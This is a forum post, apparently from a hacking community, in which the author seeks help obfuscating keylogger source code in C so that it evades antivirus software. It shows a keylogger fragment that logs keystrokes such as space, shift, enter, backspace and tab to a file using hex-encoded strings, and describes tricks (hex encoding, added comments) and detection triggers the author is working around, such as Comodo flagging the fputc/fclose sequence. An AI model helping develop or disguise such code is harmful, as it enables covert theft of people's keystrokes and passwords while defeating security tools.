I got it to work, I just changed to ascii to hex. But I am still having trouble obfuscating some of my other functions, if anyone if knowledgeable about this topic I could use some help.
This code is only detected by one av:
if((_ > 64) && (_ < 91))
_ += 32;
case VK_SPACE: fputc('\x20', __); fclose(__); break;
case VK_SHIFT: fputs("\x5b\x53\x48\x49\x46\x54\x5d", __); fclose(__); break;
case VK_RETURN: fputs("\x5b\x45\x4e\x54\x45\x52\x5d", __); fclose(__); break;
case VK_BACK: fputs("\x5b\x42\x41\x43\x4b\x53\x50\x41\x43\x45\x5d", __); fclose(__); break;
case VK_TAB: fputs("\x5b\x54\x41\x42\x5d", __); fclose(__); break;
default: fclose(__); break;
The comments make it undetected. I found that the av (comodo) detects this code a few different ways. First, if the function fputc() is run right before fclose() is ran. Second, is the switch is detected, I am not sure the exact part of the switch I haven't really looked into it because I am first focusing on the first problem. If anyone could shed some insight on a solution I would greatly appreciate it.
I actually don't think it is possible by editing source code, it is detected if the fclose() is executed before the loop ends, and if it's exited outside of the loop the program crashes due to fopen(). So I think the code needs to be re-written, but I would rather have it obfuscated due to possibly setting off other av's with the new code.